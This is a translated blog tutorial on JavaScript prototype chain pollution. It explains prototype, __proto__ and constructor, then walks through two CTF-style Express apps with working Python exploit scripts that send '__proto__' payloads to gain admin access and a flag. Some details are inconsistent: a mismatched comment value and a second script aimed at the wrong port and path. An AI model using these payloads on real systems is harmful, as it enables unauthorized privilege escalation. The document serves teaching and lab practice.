Understanding of JS prototype chain pollution

Table of contents

1. JS prototype chain

1. Basic attributes

1.1prototype attribute

1.2 __proto__ attribute

1.3constructor attribute 

2. Concept of Prototype Chain

2. Example of prototype chain pollution

1. Example 1

2. Example 2 


1. JS prototype chain

1. Basic attributes

To understand the JS prototype chain, you must first understand the three attributes of prototype, __proto__, and constructor

1.1prototype attribute

function Animal(name) {
  this.name = name,
  this.meow = function () {
    console.log('喵喵')
  }
}
Animal.prototype.color = 'yellow'

var cat1 = new Animal('大毛')
var cat2 = new Animal('二毛')

console.log(cat1.color) // 'white'
console.log(cat2.color) // 'white'
console.log(cat1.meow === cat2.meow) //false

In the above code, cat1and cat2are two instances of the same constructor, both of which have meowmethods. Since meowthe method is generated on each instance object, two instances are generated twice. In other words, every time a new instance is created, a new meowmethod will be created. This is both unnecessary and a waste of system resources, since all meowmethods have the same behavior and should be shared at all.

The prototype attribute solves this problem. In the above code, we use the prototype attribute of the Animal constructor to add the color attribute to the Animal prototype object. The value of the attribute of the prototype object changes, and the attributes of the two instance objects colorchange yellowimmediately color. This is because the instance object does not actually have colorattributes, and they all read colorthe attributes of the prototype object. That is to say, when the instance object itself does not have a certain property or method, it will go to the prototype object to find the property or method. This is what makes prototype objects special.

But if the instance object itself has a certain property or method, it will not go to the prototype object to find this property or method.

1.2 __proto__ attribute

An instance object can __proto__access its prototype object via:

After continuous calls, the final prototype object will be called null, which will be the last link of the prototype chain. Correspondingly, nullthere is no prototype object as the end point. For example, we continue to call its prototype object in the above example:

1.3constructor attribute 

 prototypeThe object has a constructorproperty, which by default points to prototypethe constructor where the object is located.

constructorThe function of the attribute is to know which constructor generated an instance object.

 

The instance cat1 itself does not have a constructor attribute, but actually reads the attributes on the prototype chain Animal.prototype.constructor.  

2. Concept of Prototype Chain

Each instance object has a prototype object, and the prototype object extends its corresponding prototype object. After layer-by-layer chain calls, it constitutes what we often call a "prototype chain", which is a method used for object inheritance. characteristics.

Referring to the above example, a prototype chain is formed here, and the final prototype object of the cat1 instance is null

When the lower object itself does not have a property or method, it will look for the properties or methods of its upper prototype object. Here we can pollute the upper-level prototype object so that it has methods and properties that the lower-level object itself does not have, to achieve our goal

2. Example of prototype chain pollution

1. Example 1

Use nodejs, pay attention to the installation dependent environment ---npm install hbs.......

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now

var matrix = [];
for (var i = 0; i < 3; i++){
    matrix[i] = [null , null, null];
}

function draw(mat) {
    var count = 0;
    for (var i = 0; i < 3; i++){
        for (var j = 0; j < 3; j++){
            if (matrix[i][j] !== null){
                count += 1;
            }
        }
    }
    return count === 9;
}

app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);

app.get('/', (req, res) => {

    for (var i = 0; i < 3; i++){
        matrix[i] = [null , null, null];

    }
    res.render('index');
})


app.get('/admin', (req, res) => { 
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
        res.status(403).send('Forbidden');
    }    
}
)


app.post('/api', (req, res) => {
    var client = req.body;
    var winner = null;

    if (client.row > 3 || client.col > 3){
        client.row %= 3;
        client.col %= 3;
    }
    matrix[client.row][client.col] = client.data;
    for(var i = 0; i < 3; i++){
        if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
            if (matrix[i][0] === 'X') {
                winner = 1;
            }
            else if(matrix[i][0] === 'O') {
                winner = 2;
            }
        }
        if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
            if (matrix[0][i] === 'X') {
                winner = 1;
            }
            else if(matrix[0][i] === 'O') {
                winner = 2;
            }
        }
    }

    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
        winner = 2;
    } 

    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
        winner = 2;
    }

    if (draw(matrix) && winner === null){
        res.send(JSON.stringify({winner: 0}))
    }
    else if (winner !== null) {
        res.send(JSON.stringify({winner: winner}))
    }
    else {
        res.send(JSON.stringify({winner: -1}))
    }

})
app.listen(3000, () => {
    console.log('app listening on port 3000!')
})

Audit the above code, find the parameters we can control, and finally find this assignment statement

matrix[client.row][client.col] = client.data;

Look at the if condition to get the flag

The condition is that the user array must have the attribute admintoken, and the md5 value of this attribute must be equal to the value of the attribute passed in

if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 

Since the data in the assignment statement is controllable, matrix and user are arrays defined globally, so we can use this statement to pass in our payload and pollute the prototype chain. This can be understood at this time

matrix[client.row][client.col] = client.data;
//等同于
matrix.client.row.client.col = client.data;
//传参后变成
matrix.__proto__.admintoken = md5(admin);

Here use python to send a post request (remember to download the requests package in pip)

import requests
import json

url1 = "http://192.168.239.138:3000/api"
url2 = "http://192.168.239.138:3000/admin?querytoken=21232f297a57a5a743894a0e4a801fc3"

s = requests.session()

headers = {"Content-type": "application/json"}
data1 = {"row": "__proto__", "col": "admintoken", "data": "admin"}

res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url2)

print(res2.text)

Note here, if we pass in "__proto__" directly, the compiler will not treat it as a key value, and need to use json.parse to convert it to the corresponding value

Run the Python code, send a post request, and successfully get the flag

2. Example 2 

In fact, there are two objects that can cause prototype chain pollution

  • Object merge combined splicing

  • Object clone (in fact, the kernel is to merge the object to be operated into an empty object) copy

Example:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)//1,2

o3 = {}
console.log(o3.b)//2

In the above code, we pass the o1 and o2 objects into the merge function. The keys in the for loop are a and __proto__. If it is judged, it is obvious that there are no these two keys in o1, and they all go to the else, and the a and __proto__ in o2 are combined __proto__ is assigned to o1, at this time

o1.a=1

o1.__proto__ = { b : 2 } is equivalent to o1.__proto__.b = 2, that is, the prototype object of o1 Object.b = 2, so we pollute the prototype chain. At this time, o3 is defined globally. Although o3 itself does not have a b attribute, its prototype object Object has and is equal to 2, so 2 is output

Next, let's look at the example

'use strict';

const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');


const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

function clone(a) {
    return merge({}, a);
}

// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};

// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());

app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
    var body = JSON.parse(JSON.stringify(req.body));
    var copybody = clone(body)
    if (copybody.name) {
        res.cookie('name', copybody.name).json({
            "done": "cookie set"
        });
    } else {
        res.json({
            "error": "cookie not set"
        })
    }
});
app.get('/getFlag', (req, res) => {
    var admin = JSON.parse(JSON.stringify(req.cookies))
    if (admin.admin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

The above code has merge and clone attributes, and there is a high probability that there will be a prototype chain pollution vulnerability

First look at the if condition of the flag, the admin object needs to have the admin attribute, and the value is 1

if (admin.admin == 1) {
        res.send("hackim19{}");

Look at the place where the reference is passed

    var body = JSON.parse(JSON.stringify(req.body));
    var copybody = clone(body)

The parameter we can control is body, and then it uses the json.stringify method to convert the data into json format, and then uses the parse method to transfer it back to the body object, and then returns the result of body clone to copybody. At this time, let's look at clone and the merge property

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

function clone(a) {
    return merge({}, a);
}

The clone function returns the result of the merge function. The process of the merge function is similar to the merge attribute mentioned above. It is to combine an empty object with the incoming body object. After the if judgment, it goes to the else, and the b The attribute of is assigned to a, namely

{}.__proto__.admin=1, that is, Object.admin=1, which successfully pollutes the prototype chain. The admin object itself does not have the admin attribute, but we assign an admin attribute to the Object, so admin.admin=1 is established. Successfully got the flag

We still use Python to send requests

import requests
import json

url1 = "http://192.168.239.138:3000/signup"
url2 = "http://192.168.239.138:3000/getflag"

headers = {"Content-type": "application/json"}

data1 = {"name":"aaa" , "__proto__" : {"admin" : 1}}

res1 = requests.post(url1, headers=headers, data = json.dumps(data1))

res2 = requests.get(url2)

print(res2.text)

Successfully got the flag

Guess you like

Origin blog.csdn.net/CQ17743254852/article/details/131986579